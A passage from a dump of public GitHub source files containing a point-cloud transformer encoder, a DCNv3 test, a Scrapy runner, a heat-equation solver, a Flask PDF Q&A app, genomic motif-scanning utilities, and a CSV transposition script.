src: source points, [B, N, C]\n dst: target points, [B, M, C]\n Output:\n dist: per-point square distance, [B, N, M]\n \"\"\"\n B, N, _ = src.shape\n _, M, _ = dst.shape\n dist = -2 * torch.matmul(src, dst.permute(0, 2, 1))\n dist += torch.sum(src ** 2, -1).view(B, N, 1)\n dist += torch.sum(dst ** 2, -1).view(B, 1, M)\n return dist\n\ndef index_points(points, idx):\n \"\"\"\n Input:\n points: input points data, [B, N, C]\n idx: sample index data, [B, S]\n Return:\n new_points:, indexed points data, [B, S, C]\n \"\"\"\n device = points.device\n B = points.shape[0]\n view_shape = list(idx.shape)\n view_shape[1:] = [1] * (len(view_shape) - 1)\n repeat_shape = list(idx.shape)\n repeat_shape[0] = 1\n batch_indices = torch.arange(B, dtype=torch.long).to(device).view(view_shape).repeat(repeat_shape)\n new_points = points[batch_indices, idx, :]\n return new_points\n\ndef query_ball_point(radius, nsample, xyz, new_xyz):\n \"\"\"\n Input:\n radius: local region radius\n nsample: max sample number in local region\n xyz: all points, [B, N, 3]\n new_xyz: query points, [B, S, 3]\n Return:\n group_idx: grouped points index, [B, S, nsample]\n \"\"\"\n device = xyz.device\n B, N, C = xyz.shape\n _, S, _ = new_xyz.shape\n group_idx = torch.arange(N, dtype=torch.long).to(device).view(1, 1, N).repeat([B, S, 1])\n sqrdists = square_distance(new_xyz, xyz)\n group_idx[sqrdists > radius ** 2] = N\n group_idx = group_idx.sort(dim=-1)[0][:, :, :nsample]\n group_first = group_idx[:, :, 0].view(B, S, 1).repeat([1, 1, nsample])\n mask = group_idx == N\n group_idx[mask] = group_first[mask]\n return group_idx\n\ndef knn_point(nsample, xyz, new_xyz):\n \"\"\"\n Input:\n nsample: max sample number in local region\n xyz: all points, [B, N, C]\n new_xyz: query points, [B, S, C]\n Return:\n group_idx: grouped points index, [B, S, nsample]\n \"\"\"\n sqrdists = square_distance(new_xyz, xyz)\n _, group_idx = torch.topk(sqrdists, nsample, dim = -1, largest=False, sorted=False)\n return group_idx\n\ndef sample_and_group(npoint, radius, nsample, xyz, points):\n \"\"\"\n Input:\n npoint:\n radius:\n nsample:\n xyz: input points position data, [B, N, 3]\n points: input points data, [B, N, D]\n Return:\n new_xyz: sampled points position data, [B, npoint, nsample, 3]\n new_points: sampled points data, [B, npoint, nsample, 3+D]\n \"\"\"\n B, N, C = xyz.shape\n S = npoint \n xyz = xyz.contiguous()\n\n fps_idx = pointnet2_utils.furthest_point_sample(xyz, npoint).long() # [B, npoint]\n new_xyz = index_points(xyz, fps_idx) \n new_points = index_points(points, fps_idx)\n # new_xyz = xyz[:]\n # new_points = points[:]\n\n idx = knn_point(nsample, xyz, new_xyz)\n #idx = query_ball_point(radius, nsample, xyz, new_xyz)\n grouped_xyz = index_points(xyz, idx) # [B, npoint, nsample, C]\n grouped_xyz_norm = grouped_xyz - new_xyz.view(B, S, 1, C)\n grouped_points = index_points(points, idx)\n grouped_points_norm = grouped_points - new_points.view(B, S, 1, -1)\n new_points = torch.cat([grouped_points_norm, new_points.view(B, S, 1, -1).repeat(1, 1, nsample, 1)], dim=-1)\n return new_xyz, new_points\n\nclass Local_op(nn.Module):\n def __init__(self, in_channels, out_channels):\n super(Local_op, self).__init__()\n self.conv1 = nn.Conv1d(in_channels, out_channels, kernel_size=1, bias=False)\n self.conv2 = nn.Conv1d(out_channels, out_channels, kernel_size=1, bias=False)\n self.bn1 = nn.BatchNorm1d(out_channels)\n self.bn2 = nn.BatchNorm1d(out_channels)\n\n def forward(self, x):\n b, n, s, d = x.size() # torch.Size([32, 512, 32, 6]) \n x = x.permute(0, 1, 3, 2) \n x = x.reshape(-1, d, s) \n batch_size, _, N = x.size()\n x = F.relu(self.bn1(self.conv1(x))) # B, D, N\n x = F.relu(self.bn2(self.conv2(x))) # B, D, N\n x = F.adaptive_max_pool1d(x, 1).view(batch_size, -1)\n x = x.reshape(b, n, -1).permute(0, 2, 1)\n return x\n\nclass Pct(nn.Module):\n def __init__(self, c_dim=512, scale=1):\n super(Pct, self).__init__()\n self.conv1 = nn.Conv1d(3, 64*scale, kernel_size=1, bias=False)\n self.conv2 = nn.Conv1d(64*scale, 64*scale, kernel_size=1, bias=False)\n self.bn1 = nn.BatchNorm1d(64*scale)\n self.bn2 = nn.BatchNorm1d(64*scale)\n self.gather_local_0 = Local_op(in_channels=128*scale, out_channels=128*scale)\n self.gather_local_1 = Local_op(in_channels=256*scale, out_channels=256*scale)\n\n self.pt_last = Point_Transformer_Last(channels=256*scale)\n\n self.conv_fuse = nn.Sequential(nn.Conv1d(1280*scale, 1024*scale, kernel_size=1, bias=False),\n nn.BatchNorm1d(1024*scale),\n nn.LeakyReLU(negative_slope=0.2))\n\n\n self.linear1 = nn.Linear(1024*scale, 512*scale, bias=False)\n self.bn6 = nn.BatchNorm1d(512*scale)\n self.dp1 = nn.Dropout(p=False)\n self.linear2 = nn.Linear(512*scale, 256*scale)\n self.bn7 = nn.BatchNorm1d(256*scale)\n self.dp2 = nn.Dropout(p=False)\n self.linear3 = nn.Linear(256*scale, c_dim)\n\n def forward(self, x):\n x = x.permute(0,2,1)\n xyz = x.permute(0, 2, 1)\n batch_size, _, _ = x.size()\n # B, D, N\n x = F.relu(self.bn1(self.conv1(x)))\n # B, D, N\n x = F.relu(self.bn2(self.conv2(x)))\n x = x.permute(0, 2, 1)\n new_xyz, new_feature = sample_and_group(npoint=512, radius=0.15, nsample=32, xyz=xyz, points=x) \n feature_0 = self.gather_local_0(new_feature)\n feature = feature_0.permute(0, 2, 1)\n new_xyz, new_feature = sample_and_group(npoint=256, radius=0.2, nsample=32, xyz=new_xyz, points=feature) \n feature_1 = self.gather_local_1(new_feature)\n\n x = self.pt_last(feature_1)\n x = torch.cat([x, feature_1], dim=1)\n x = self.conv_fuse(x)\n x = F.adaptive_max_pool1d(x, 1).view(batch_size, -1)\n x = F.leaky_relu(self.bn6(self.linear1(x)), negative_slope=0.2)\n x = self.dp1(x)\n x = F.leaky_relu(self.bn7(self.linear2(x)), negative_slope=0.2)\n x = self.dp2(x)\n x = self.linear3(x)\n\n return x\n\nclass Point_Transformer_Last(nn.Module):\n def __init__(self, channels=256):\n super(Point_Transformer_Last, self).__init__()\n self.conv1 = nn.Conv1d(channels, channels, kernel_size=1, bias=False)\n self.conv2 = nn.Conv1d(channels, channels, kernel_size=1, bias=False)\n\n self.bn1 = nn.BatchNorm1d(channels)\n self.bn2 = nn.BatchNorm1d(channels)\n\n self.sa1 = SA_Layer(channels)\n self.sa2 = SA_Layer(channels)\n self.sa3 = SA_Layer(channels)\n self.sa4 = SA_Layer(channels)\n\n def forward(self, x):\n # \n # b, 3, npoint, nsample \n # conv2d 3 -> 128 channels 1, 1\n # b * npoint, c, nsample \n # permute reshape\n batch_size, _, N = x.size()\n\n # B, D, N\n x = F.relu(self.bn1(self.conv1(x)))\n x = F.relu(self.bn2(self.conv2(x)))\n x1 = self.sa1(x)\n x2 = self.sa2(x1)\n x3 = self.sa3(x2)\n x4 = self.sa4(x3)\n x = torch.cat((x1, x2, x3, x4), dim=1)\n\n return x\n\nclass SA_Layer(nn.Module):\n def __init__(self, channels):\n super(SA_Layer, self).__init__()\n self.q_conv = nn.Conv1d(channels, channels // 4, 1, bias=False)\n self.k_conv = nn.Conv1d(channels, channels // 4, 1, bias=False)\n self.q_conv.weight = self.k_conv.weight\n self.q_conv.bias = self.k_conv.bias\n\n self.v_conv = nn.Conv1d(channels, channels, 1)\n self.trans_conv = nn.Conv1d(channels, channels, 1)\n self.after_norm = nn.BatchNorm1d(channels)\n self.act = nn.ReLU()\n self.softmax = nn.Softmax(dim=-1)\n\n def forward(self, x):\n # b, n, c\n x_q = self.q_conv(x).permute(0, 2, 1)\n # b, c, n\n x_k = self.k_conv(x)\n x_v = self.v_conv(x)\n # b, n, n\n energy = torch.bmm(x_q, x_k)\n\n attention = self.softmax(energy)\n attention = attention / (1e-9 + attention.sum(dim=1, keepdim=True))\n # b, c, n\n x_r = torch.bmm(x_v, attention)\n x_r = self.act(self.after_norm(self.trans_conv(x - x_r)))\n x = x + x_r\n return x","repo_name":"vaibhavnayel/cloud-encoding","sub_path":"im2mesh/encoder/transformer.py","file_name":"transformer.py","file_ext":"py","file_size_in_byte":9720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"11224145361","text":"from internimage import DCNv3, DCNv3_pytorch\nimport torch\nimport time\n\ntorch.manual_seed(3)\n\n\nclass TestDCNv3:\n model_cpp = DCNv3().to(\"cuda\")\n model_torch = DCNv3_pytorch().to(\"cuda\")\n\n def test_print(self):\n print(self.model_cpp)\n print(self.model_torch)\n\n @torch.no_grad()\n def test_forward(self):\n print(\"\\n\")\n # Input channel last(N, H, W, C)\n inputs = torch.rand((1, 224, 224, self.model_torch.channels)).to(\"cuda\")\n print(inputs.shape)\n\n output_cpp = self.model_cpp(inputs)\n output_torch = self.model_torch(inputs)\n\n fwdok = torch.allclose(output_cpp, output_torch, rtol=1e-2, atol=1e-3)\n max_abs_err = (output_cpp - output_torch).abs().max()\n max_rel_err = ((output_cpp - output_torch).abs() /\n output_torch.abs()).max()\n print('>>> forward float')\n print(f'* {fwdok} check_forward_equal_with_pytorch_float: max_abs_err {max_abs_err:.2e} max_rel_err {max_rel_err:.2e}')\n\n @torch.no_grad()\n def test_time(self):\n print(\"\\n\")\n num_iter = 200\n\n inputs = torch.rand((1, 512, 512, self.model_torch.channels)).to(\"cuda\")\n\n times_cpp = []\n for _ in range(num_iter):\n t = time.time()\n output_cpp = self.model_cpp(inputs)\n torch.cuda.synchronize()\n times_cpp.append(time.time() - t)\n times_cpp = sum(times_cpp[num_iter//2:]) / (num_iter//2)\n\n times_torch = []\n for _ in range(num_iter):\n t = time.time()\n output_torch = self.model_torch(inputs)\n torch.cuda.synchronize()\n times_torch.append(time.time() - t)\n times_torch = sum(times_torch[num_iter//2:]) / (num_iter//2)\n\n print(f\"forward cpp time: {times_cpp * 1000}ms\")\n print(f\"forward torch time: {times_torch * 1000}ms\")\n\n","repo_name":"mjun0812/InternImageWrapper","sub_path":"tests/test_dcn.py","file_name":"test_dcn.py","file_ext":"py","file_size_in_byte":1871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"490612177","text":"#!/usr/bin/env python\n# coding:utf-8\n\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\nfrom scrapy.crawler import CrawlerProcess\nfrom scrapy.utils.project import get_project_settings\n\nscreen_names = ['ubuntu']\n\ndef run_spiders():\n process = CrawlerProcess(get_project_settings())\n\n for screen_name in screen_names:\n kwargs = {\n 'screen_name': screen_name\n }\n process.crawl('twitter', **kwargs)\n process.start() # the script will block here until the crawling is finished\n process.stop() # stopped?\n\nif __name__ == '__main__':\n run_spiders()","repo_name":"tomowang/scrapy-twitter","sub_path":"runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"43132801434","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Nov 23 23:24:40 2022\n\n@author: random\n\"\"\"\n\n\nimport matplotlib.pylab as plt\ndef PDEHeat(xmax, nx, nt,tplot):\n V = []\n hx = xmax/nx\n ht = 5/nt\n X = []\n x0 = 0\n for i in range(0, nx+1):\n if x0 + (hx*i) == 1:\n V.append(300)\n else:\n V.append(0)\n X.append(x0 + hx*i)\n a = ht/(hx*hx)\n print(a)\n for j in range (0, nt):\n temp = []\n if j in tplot:\n plt.plot(X, V, label = str(j)) \n for k in range (0, nx+1):\n if k == 0:\n p = (1-2*a)*V[k] + a*V[k+1]\n elif k == nx:\n p = a*V[k-1] + (1-2*a)*V[k]\n else:\n p = a*V[k-1]+(1-2*a)*V[k]+a*V[k+1]\n temp.append(p)\n for q in range(0, len(V)-1):\n V[q] = temp[q]\n plt.legend(loc='right')\n plt.show()\n return None\n\na = PDEHeat(2,100,100000,[0,20,200])","repo_name":"dimo192/rmd","sub_path":"P346/folder/q3a6.py","file_name":"q3a6.py","file_ext":"py","file_size_in_byte":948,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74932623273","text":"from flask import Flask, request, render_template\nimport pdfplumber\nfrom transformers import pipeline\n\napp = Flask(__name__)\n\n# Load a pre-trained question-answering model\nqa_pipeline = pipeline(\"question-answering\", model=\"bert-large-uncased-whole-word-masking-finetuned-squad\", tokenizer=\"bert-large-uncased-whole-word-masking-finetuned-squad\")\n\n@app.route(\"/\", methods=[\"GET\", \"POST\"])\ndef home():\n if request.method == \"POST\":\n uploaded_file = request.files[\"pdf\"]\n question = request.form[\"question\"]\n\n if uploaded_file:\n pdf_text = extract_text_from_pdf(uploaded_file)\n answer = get_answer(question, pdf_text)\n return render_template(\"index.html\", answer=answer)\n else:\n return \"No PDF file uploaded.\"\n\n return render_template(\"index.html\", answer=\"\")\n\ndef extract_text_from_pdf(uploaded_file):\n with pdfplumber.open(uploaded_file) as pdf:\n text = \"\"\n for page in pdf.pages:\n text += page.extract_text()\n return text\n\ndef get_answer(question, context):\n return qa_pipeline(question=question, context=context)\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","repo_name":"viplav113/pdf_chat","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1179,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70421171432","text":"import numpy as np\nimport torch\nimport pandas as pd\nfrom pysam import FastaFile\nimport time\nimport itertools\nimport xml.etree.ElementTree as ET\nimport os\nfrom scipy.optimize import curve_fit\nfrom scipy.interpolate import interp1d\nimport regex as re\n\ndef number_of_headers(filename):\n header=0\n with open(filename,\"r\") as file: \n while True:\n line = file.readline() \n if line.startswith(\"#\"):\n header=header+1\n else:\n break\n return header\n\ndef kmers_count(seq, k=2):\n lookup = {\"\".join(i):0 for i in itertools.product([\"A\",\"C\",\"G\",\"T\"], repeat=k)}\n mers = [seq[i:i+2] for i in range(len(seq)-k+1)]\n for i in mers:\n if i in lookup:\n lookup[i] += 1\n for i in lookup:\n lookup[i] /= (len(seq)-k+1)\n return list(lookup.values())\n\ndef kmers(k=2):\n return [\"\".join(i) for i in itertools.product([\"A\",\"C\",\"G\",\"T\"], repeat=k)]\n\ndef logit(x, a, b):\n return 1/(1 + np.exp(-a * x - b))\n\ndef logit_torch(x, a, b):\n return 1/(1 + torch.exp(-a * x - b))\n\ndef init_dist(dmin, dmax, dp, weights, probs):\n out = np.zeros(int(np.round((dmax-dmin)/dp)+1))\n ii = np.array(np.round((weights-dmin)/dp), dtype=int)\n for i in range(len(probs)):\n out[ii[i]] = out[ii[i]] + probs[i]\n return out\n\ndef scoreDist(pwm, nucleotide_prob=None, gran=None, size=1000):\n if nucleotide_prob is None:\n nucleotide_prob = np.ones(4)/4\n if gran is None:\n if size is None:\n raise ValueError(\"provide either gran or size. Both missing.\")\n gran = (np.max(pwm) - np.min(pwm))/(size - 1)\n pwm = np.round(pwm/gran)*gran\n pwm_max, pwm_min = pwm.max(axis=1), pwm.min(axis=1)\n distribution = init_dist(pwm_min[0], pwm_max[0], gran, pwm[0], nucleotide_prob[0])\n for i in range(1, pwm.shape[0]):\n kernel = init_dist(pwm_min[i], pwm_max[i], gran, pwm[i], nucleotide_prob[i])\n distribution = np.convolve(distribution, kernel)\n support_min = pwm_min.sum()\n ii = np.where(distribution > 0)[0]\n support = support_min + (ii) * gran\n return support, distribution[ii]\n\ndef return_coef_for_normalization(pwms, nucleotide_prob=None, gran=None, size=1000):\n params = []\n for i in range(0,pwms.shape[0],2):\n pwm = pwms[i].numpy().T\n pwm = pwm[pwm.sum(axis=1) != 0, :]\n #prob = np.exp(pwm).sum(axis=0)/np.exp(pwm).sum()\n prob = np.exp(pwm)\n s, d = scoreDist(pwm, prob, gran, size)\n param, _ = curve_fit(logit, np.exp(s), np.cumsum(d), maxfev=5000)\n #f = interp1d(np.exp(s), np.cumsum(d))\n #print(curve_fit(logit, np.exp(s), np.cumsum(d), maxfev=5000))\n #params.append(param)\n params.append(param)\n return params\n\ndef return_coef_for_normalization_diff(pwms, nucleotide_prob=None, gran=None, size=1000, length_correction=1):\n params = []\n for i in range(0,pwms.shape[0],2):\n pwm = pwms[i].numpy().T\n pwm = pwm[pwm.sum(axis=1) != 0, :]\n #prob = pwm.sum(axis=0)/pwm.sum()\n prob = np.sum(np.exp(pwm) / np.exp(pwm).sum(axis=1).reshape(-1,1), axis=0)/np.sum(np.exp(pwm) / np.exp(pwm).sum(axis=1).reshape(-1,1))\n s, d = scoreDist(pwm, prob, gran, size, diff=True)\n param, _ = curve_fit(logit, s, np.power(np.cumsum(d), length_correction))\n params.append(param)\n return params\n\ndef normalize_mat(mat, params):\n out = torch.empty_like(mat)\n assert mat.shape[1] == len(params)\n for i in range(len(params)):\n #out[:,i] = logit(mat[:,i], *params[i])\n #tmp = np.clip(mat[:,i],params[i].x.min(), params[i].x.max())\n #tmp = params[i](tmp)\n out[:,i] = logit_torch(mat[:,i], *params[i])\n return out\n\n#def readvcf(filename):\n# nh = number_of_headers(filename)\n# if nh > 1:\n# data = pd.read_csv(filename, header=list(range(nh)), sep=\"\\t\")\n# data.columns = pd.MultiIndex.from_tuples([tuple(i[1:] for i in data.columns[0])] +list(data.columns)[1:])\n# elif nh == 1:\n# data = pd.read_csv(filename, header=0, sep=\"\\t\")\n# data.columns = [data.columns[0][1:]] + data.columns.to_list()[1:]\n# else:\n# data = pd.read_csv(filename, header=None, sep=\"\\t\")\n# return data \n\ndef readvcf(filename):\n nh = number_of_headers(filename)\n if nh > 1:\n data = pd.read_csv(filename, skiprows=nh, header=None, sep=\"\\t\")\n #data.columns = pd.MultiIndex.from_tuples([tuple(i[1:] for i in data.columns[0])] +list(data.columns)[1:])\n elif nh == 1:\n data = pd.read_csv(filename, skiprows=1, header=None, sep=\"\\t\")\n #data.columns = [data.columns[0][1:]] + data.columns.to_list()[1:]\n else:\n data = pd.read_csv(filename, header=None, sep=\"\\t\")\n return data \n\ndef readbed(filename, up):\n data = pd.read_csv(filename, sep = \"\\t\", header = None)\n chrs = data[0].to_numpy()\n start = data[1].to_numpy(dtype=int)\n end = data[2].to_numpy(dtype=int)\n if(data.shape[1] > 5): #get the strand\n print(\"Strand detected\")\n up = int(np.floor(up))\n strand = data[5].to_numpy()\n #adjust the regions to acccount for strand and up\n start = start - (strand == \"+\") * up #[start[i]-up if strand[i]==\"+\" else start[i] for i in range(len(start))]\n end = end + (strand == \"-\") * up #[end[i]+up if strand[i]==\"-\" else end[i] for i in range(len(start))]\n return chrs, start, end\n\ndef returnmask(i, mask, windowsize, start, end, dinucleotide):\n if dinucleotide:\n tmp = np.zeros(mask.shape[2]+1)\n tmp[(windowsize-1):(end-start-windowsize+1)] = 1\n mask[i,:,:] = torch.from_numpy(np.convolve(tmp, [1,1], mode=\"valid\"))\n else:\n mask[i, :, (windowsize-1):(end-start-windowsize+1)] = 1\n\ndef returnonehot(string, dinucleotide=False):\n string = string.upper()\n tmp = np.array(list(string))\n\n if dinucleotide:\n lookup = {\"\".join(i):n for n,i in enumerate(itertools.product([\"A\",\"C\",\"G\",\"T\"], repeat=2))}\n icol = np.where(tmp == 'N')[0]\n #icol = np.unique(icol // 2)\n #icol = np.where(np.logical_not(np.isin(np.arange(len(tmp)//2), icol)))[0]\n icol = np.unique(np.clip(np.concatenate([icol, icol-1]), 0, len(tmp)-2))\n icol = np.where(np.logical_not(np.isin(np.arange(len(tmp)-1), icol)))[0]\n tmp = np.array([tmp[i] + tmp[i+1] for i in range(len(tmp)-1)])\n irow = np.array([lookup[i] for i in tmp[icol]])\n else:\n lookup = {'A':0, 'C':1, 'G':2, 'T':3}\n icol = np.where(tmp != 'N')[0]\n irow = np.array([lookup[i] for i in tmp[icol]])\n\n out = np.zeros((len(lookup),len(tmp)), dtype = np.float32)\n\n if len(icol)>0:\n out[irow,icol] = 1\n\n return out\n\ndef read_TFFM(file):\n tree = ET.parse(file)\n root = tree.getroot()\n data = []\n for state in root[0].iterfind(\"state\"):\n discrete = state[0]\n if \"order\" in discrete.attrib:\n data.append(discrete.text.split(\",\"))\n return np.array(data, dtype=float)\n\ndef transform_kernel(kernel, smoothing, background):\n out = np.log(kernel / background + smoothing)\n c = out.max(axis=1)\n out = out - c[:, np.newaxis]\n norm = out.min(axis=1).sum()\n return out, norm\n\nclass MEME():\n def __init__(self, precision=1e-7, smoothing=0.02, background=None):\n self.version = 0\n self.alphabet = \"\"\n self.strands = \"\"\n #self.headers = []\n self.background = []\n self.names = []\n self.nmotifs = 0\n self.precision=1e-7\n self.smoothing = smoothing\n if background is None:\n self.background = np.ones(4)*0.25\n else:\n self.background = background\n\n def parse(self, text):\n precision = self.precision\n with open(text,'r') as file:\n data = file.read()\n self.version = re.compile(r'MEME version ([\\d+\\.*]+)').match(data).group(1)\n self.names = re.findall(r\"MOTIF (.*)\\n\", data)\n self.background = re.findall(r\"Background letter frequencies.*\\n(A .* C .* G .* T .*)\\n\", data)[0]\n self.strands = re.findall(r\"strands: (.*)\\n\", data)[0].strip()\n self.alphabet = re.findall(r\"ALPHABET=(.*)\\n\", data)[0].strip()\n letter_probs = re.findall(r\"(letter-probability.*\\n([ \\t]*\\d+\\.?\\d*[ \\t]+\\d+\\.?\\d*[ \\t]+\\d+\\.?\\d*[ \\t]+\\d+\\.?\\d*[ \\t]*\\n)+)\", data)\n assert len(letter_probs) == len(self.names)\n self.nmotifs = len(letter_probs)\n out_channels = self.nmotifs * 2\n in_channels = 4\n matrices = []\n length = 0\n for i in range(len(letter_probs)):\n matrix = letter_probs[i][0].split(\"\\n\")\n if len(matrix[-1]) == 0:\n matrix = matrix[1:-1]\n else:\n matrix = matrix[1:]\n matrices.append(np.array([i.split() for i in matrix], dtype=float))\n if matrices[-1].shape[0] > length:\n length = matrices[-1].shape[0]\n out = np.zeros((out_channels, in_channels, length), dtype=np.float32)\n mask = torch.zeros((out_channels, 1, length), dtype=torch.uint8)\n for k, kernel in enumerate(matrices):\n #if transform == \"constant\":\n # bg=np.repeat(0.25, in_channels).reshape(1,4)\n #if transform == \"local\":\n # bg=np.average(kernel,0).reshape(1,4)\n #if transform != \"none\":\n # offset=np.min(kernel[kernel>0])\n # bgMat=np.tile(bg,(kernel.shape[0],1))\n # kernel=np.log((kernel+offset)/bgMat)\n kernel[kernel == 0] = self.precision\n kernel = np.log(kernel)\n out[2*k , :, :kernel.shape[0]] = kernel.T\n out[2*k+1, :, :kernel.shape[0]] = kernel[::-1, ::-1].T\n mask[2*k , :, :kernel.shape[0]] = 1\n mask[2*k+1, :, :kernel.shape[0]] = 1\n return torch.from_numpy(out), mask\n\nclass MEME_with_Transformation():\n def __init__(self, precision=1e-7, smoothing=0.02, background=None):\n self.version = 0\n self.alphabet = \"\"\n self.strands = \"\"\n #self.headers = []\n self.background = []\n self.names = []\n self.nmotifs = 0\n self.precision=1e-7\n self.smoothing = smoothing\n if background is None:\n self.background_prob = np.ones(4)*0.25\n else:\n self.background_prob = background\n\n def parse(self, text):\n precision = self.precision\n with open(text,'r') as file:\n data = file.read()\n self.version = re.compile(r'MEME version ([\\d+\\.*]+)').match(data).group(1)\n self.names = re.findall(r\"MOTIF (.*)\\n\", data)\n self.background = re.findall(r\"Background letter frequencies.*\\n(A .* C .* G .* T .*)\\n\", data)[0]\n self.strands = re.findall(r\"strands: (.*)\\n\", data)[0].strip()\n self.alphabet = re.findall(r\"ALPHABET=(.*)\\n\", data)[0].strip()\n letter_probs = re.findall(r\"(letter-probability.*\\n([ \\t]*\\d+\\.?\\d*[ \\t]+\\d+\\.?\\d*[ \\t]+\\d+\\.?\\d*[ \\t]+\\d+\\.?\\d*[ \\t]*\\n)+)\", data)\n assert len(letter_probs) == len(self.names)\n self.nmotifs = len(letter_probs)\n out_channels = self.nmotifs * 2\n in_channels = 4\n matrices = []\n length = 0\n for i in range(len(letter_probs)):\n matrix = letter_probs[i][0].split(\"\\n\")\n if len(matrix[-1]) == 0:\n matrix = matrix[1:-1]\n else:\n matrix = matrix[1:]\n matrices.append(np.array([i.split() for i in matrix], dtype=float))\n if matrices[-1].shape[0] > length:\n length = matrices[-1].shape[0]\n out = np.zeros((out_channels, in_channels, length), dtype=np.float32)\n mask = torch.zeros((out_channels, 1, length), dtype=torch.uint8)\n motif_norms = np.zeros(self.nmotifs, dtype=np.float32)\n for k, kernel in enumerate(matrices):\n kernel, motif_norms[k] = transform_kernel(kernel, self.smoothing, self.background_prob)\n out[2*k , :, :kernel.shape[0]] = kernel.T\n out[2*k+1, :, :kernel.shape[0]] = kernel[::-1, ::-1].T\n mask[2*k , :, :kernel.shape[0]] = 1\n mask[2*k+1, :, :kernel.shape[0]] = 1\n return torch.from_numpy(out), mask, motif_norms\n\nclass TFFM():\n def __init__(self, smoothing=0.02, background=None):\n self.names = []\n self.nmotifs = 0\n self.smoothing = smoothing\n if background is None:\n self.background_prob = np.ones(16)*1/16\n else:\n self.background_prob = background\n\n def parse(self, directory):\n self.names = os.listdir(directory)\n self.nmotifs = len(self.names)\n in_channels = 16\n out_channels = self.nmotifs\n data = []\n height = 0\n for i in self.names:\n tffm = read_TFFM(os.path.join(directory, i))\n data.append(tffm)\n if tffm.shape[0] > height:\n height = tffm.shape[0]\n out = np.zeros((out_channels, in_channels, height), dtype=np.float32)\n mask = torch.zeros((out_channels, 1 , height), dtype=torch.uint8)\n motif_norms = np.zeros(out_channels, dtype=np.float32)\n for n, tffm in enumerate(data):\n kernel, motif_norms[n] = transform_kernel(tffm, self.smoothing, self.background_prob)\n out[n, :, :tffm.shape[0]] = kernel.T\n mask[n, :, :tffm.shape[0]] = 1\n return torch.from_numpy(out), mask, motif_norms\n\nclass vcfData:\n def __init__(self, vcf, batchsize, genome, windowsize, dinucleotide=False):\n data = readvcf(vcf)\n self.headers = data.columns.to_list()\n \n self.ref = data.iloc[:,3].to_numpy()\n self.alt = data.iloc[:,4].to_numpy()\n\n f = np.vectorize(len)\n\n self.reflength = f(self.ref)\n self.altlength = f(self.alt)\n\n self.chrs = data.iloc[:,0].to_numpy()\n\n self.refstarts = data.iloc[:,1].to_numpy() - int(windowsize)\n self.refends = data.iloc[:,1].to_numpy() + self.reflength - 1 + int(windowsize) - 1\n\n self.altstarts = data.iloc[:,1].to_numpy() - int(windowsize)\n self.altends = data.iloc[:,1].to_numpy() + self.altlength - 1 + int(windowsize) - 1\n\n self.pos = data.iloc[:,1].to_numpy()\n\n self.variant_names = data.iloc[:, 2].to_numpy()\n\n self.batchsize = batchsize\n self.n = data.shape[0] \n self.seqs = FastaFile(genome)\n self.windowsize = windowsize\n refs = self.seqs.references\n lengths = self.seqs.lengths\n self.limits = {refs[i]: lengths[i] for i in range(len(refs))}\n self.out = open(\"coordinatesUsed.bed\", \"w\")\n\n self.dinucleotide=dinucleotide\n \n def __len__(self):\n return int(np.ceil(self.n / self.batchsize))\n\n def names(self):\n return self.variant_names\n\n def __getitem__(self, i):\n i1, i2 = i*self.batchsize, (i+1)*self.batchsize\n if i2 >= self.n: i2 = self.n\n batchsize = int(i2 - i1)\n targetlength = max(np.max(self.reflength[i1:i2]), np.max(self.altlength[i1:i2]))\n if self.dinucleotide:\n offset = 1\n height = (self.windowsize-1)*2 + targetlength - 1 #np.max(self.ends[i1:i2] - self.starts[i1:i2])# + self.padding\n width = 16 \n else:\n offset = 0\n height = (self.windowsize-1)*2 + targetlength #np.max(self.ends[i1:i2] - self.starts[i1:i2])# + self.padding\n width = 4\n batch = np.zeros((batchsize, width, height), dtype=np.float32) \n mask = torch.zeros((batchsize, 1, height), dtype=torch.uint8)\n altbatch = np.zeros((batchsize, width, height), dtype=np.float32) \n altmask = torch.zeros((batchsize, 1, height), dtype=torch.uint8)\n stats = np.empty((batchsize, 4))\n for i, c, refs, refe, alts, alte, r, a, lenr, lena in zip(range(i2-i1), self.chrs[i1:i2], self.refstarts[i1:i2], self.refends[i1:i2], self.altstarts[i1:i2], self.altends[i1:i2], self.ref[i1:i2], self.alt[i1:i2], self.reflength[i1:i2], self.altlength[i1:i2]):\n if refs>0 and refe= self.n: i2 = self.n\n batchsize = int(i2 - i1)\n if self.dinucleotide:\n height = np.max(self.ends[i1:i2] - self.starts[i1:i2])-1# + self.padding\n width = 16\n else:\n height = np.max(self.ends[i1:i2] - self.starts[i1:i2])# + self.padding\n width = 4\n batch = np.zeros((batchsize, width, height), dtype=np.float32) \n stats = np.empty((batchsize, self.additional), dtype=np.float32)\n for i, c, s, e in zip(range(i2-i1), self.chrs[i1:i2], self.starts[i1:i2], self.ends[i1:i2]):\n self.out.write(c+\"\\t\"+str(s)+\"\\t\"+str(e)+\"\\n\")\n if s>0 and e {dict mapping member of values -> {set of receiving values}}\n\n for row in rows:\n key = tuple(row[v] for v in old_headers)\n if key not in newrows:\n newrows[key] = {}\n nr = newrows[key]\n cn = row[args.to_columns]\n cv = row[args.receiver]\n if cn not in nr:\n nr[cn] = set()\n else:\n print(f'WARN: possibly ambiguous (multivalued) for column {cn} values {nr[cn]} plus {cv}', file=sys.stderr)\n nr[cn].add(cv)\n\n out = csv.DictWriter(fo, headers)\n out.writeheader()\n\n print(f'{len(newrows)} base rows to output', file=sys.stderr)\n for key, cols in newrows.items():\n for v in values:\n if v not in cols:\n cols[v] = {args.fill_value}\n baserow = {k: v for k, v in zip(old_headers, key)}\n kvs = list(cols.items())\n for vs in itertools.product(*(kv[1] for kv in kvs)):\n row = baserow.copy()\n row.update({k: v for k, v in zip((kv[0] for kv in kvs), vs)})\n out.writerow(row)\n\nelse:\n print('TODO: column -> row transposition', 